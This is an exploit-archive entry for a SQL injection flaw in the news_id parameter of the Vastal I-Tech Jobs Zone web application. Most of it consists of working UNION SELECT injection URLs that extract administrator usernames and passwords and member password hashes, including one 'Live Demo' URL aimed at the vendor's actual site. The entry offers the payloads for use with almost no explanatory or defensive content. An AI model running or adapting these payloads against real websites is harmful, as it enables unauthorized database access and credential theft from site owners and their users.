Vastal I-Tech Jobs Zone (news_id) SQL Injection Vulnerability

2008-09-05T00:00:00
ID 1337DAY-ID-3607
Type zdt
Reporter Stack
Modified 2008-09-05T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            =============================================================
Vastal I-Tech Jobs Zone (news_id) SQL Injection Vulnerability
=============================================================



#######################################################
#  Vastal I-Tech Jobs Zone SQL Injection Vulnerability
#
# Author   : Stack
#
# Demo      : http://www.vastal.com/jobs/
#######################################################
Exploit:
http://site.il/view_news.php?news_id=-1/**/UNION/**/SELECT/**/1,concat_ws(0x3a,admin_user,admin_password),3,4,5,6,7/**/from/**/admin_users/*
http://site.il/view_news.php?news_id=-1/**/UNION/**/SELECT/**/1,concat_ws(0x3a,password,user()),version(),4,5,6,7/**/from/**/members/*
Live Demo
http://www.vastal.com/jobs/view_news.php?news_id=-1/**/UNION/**/SELECT/**/1,concat_ws(0x3a,admin_user,admin_password),3,4,5,6,7/**/from/**/admin_users/*
##############################################################################################################




#  0day.today [2018-04-10]  #